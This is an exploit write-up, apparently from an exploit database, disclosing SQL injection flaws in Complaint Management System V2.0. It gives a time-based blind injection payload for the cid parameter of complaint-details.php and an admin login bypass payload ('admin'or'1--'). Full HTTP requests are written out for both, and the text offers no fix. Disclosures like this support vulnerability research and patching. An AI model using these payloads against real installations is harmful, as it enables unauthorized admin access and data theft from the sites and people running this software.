Complaint Management System 2.0 SQL Injection

`# Exploit Title: Complaint-Management-System Multiple SQL Injection Vulnerabilities  
# Date: 02/09/2-24  
# Exploit Author: Diyar Saadi  
# Vendor Homepage: https://phpgurukul.com/complaint-management-sytem/  
# Software Link: https://phpgurukul.com/?sdm_process_download=1&download_id=7259  
# Version: V 2.0  
# Tested on: Windows 11 + XAMPP 8.0.30  
  
1- SQL Injection  
  
## Description ##  
  
Multiple SQL injection vulnerabilities have been identified in the Complaint Management System V 2.0. These vulnerabilities allow an attacker to manipulate SQL queries through user-controlled input, potentially leading to unauthorized access or data disclosure , The vulnerable code is in the `complaint-details.php ` file within the `admin` directory. The `cid` parameter .  
  
# Proof Of Ceoncept ##  
  
--> During forward the payload the response time is expand at least 5 second .  
--> Payload: 1' AND SLEEP(5) --  
  
Request :  
  
http  
GET /admin/complaint-details.php?cid=1%27%20AND%20SLEEP(5)%20-- HTTP/1.1  
Host: localhost  
Cookie: PHPSESSID=h08ab7d2umqg507c1392g0opmp  
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"  
Sec-Ch-Ua-Mobile: ?0  
Sec-Ch-Ua-Platform: "Windows"  
Upgrade-Insecure-Requests: 1  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: none  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Priority: u=0, i  
Connection: close  
  
# SQL Injection Vulnerability in User Authentications #  
  
## Proof Of Concept ##  
  
--> Attackers can bypass admin panel by forward the payload .  
--> Payload : admin'or'1-- from username field and any letter like pwn from password field then click sign in .  
--> Enjoy :x  
  
Request :  
  
POST /admin/index.php HTTP/1.1  
Host: localhost  
Cookie: PHPSESSID=h08ab7d2umqg507c1392g0opmp  
Content-Length: 46  
Cache-Control: max-age=0  
Sec-Ch-Ua: "Chromium";v="121", "Not A(Brand";v="99"  
Sec-Ch-Ua-Mobile: ?0  
Sec-Ch-Ua-Platform: "Windows"  
Upgrade-Insecure-Requests: 1  
Origin: https://localhost  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.6167.85 Safari/537.36  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer: https://localhost/admin/index.php  
Accept-Encoding: gzip, deflate, br  
Accept-Language: en-US,en;q=0.9  
Priority: u=0, i  
Connection: close  
username=admin%27or%271--&password=pwn&submit=  
  
Greetz!  
  
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`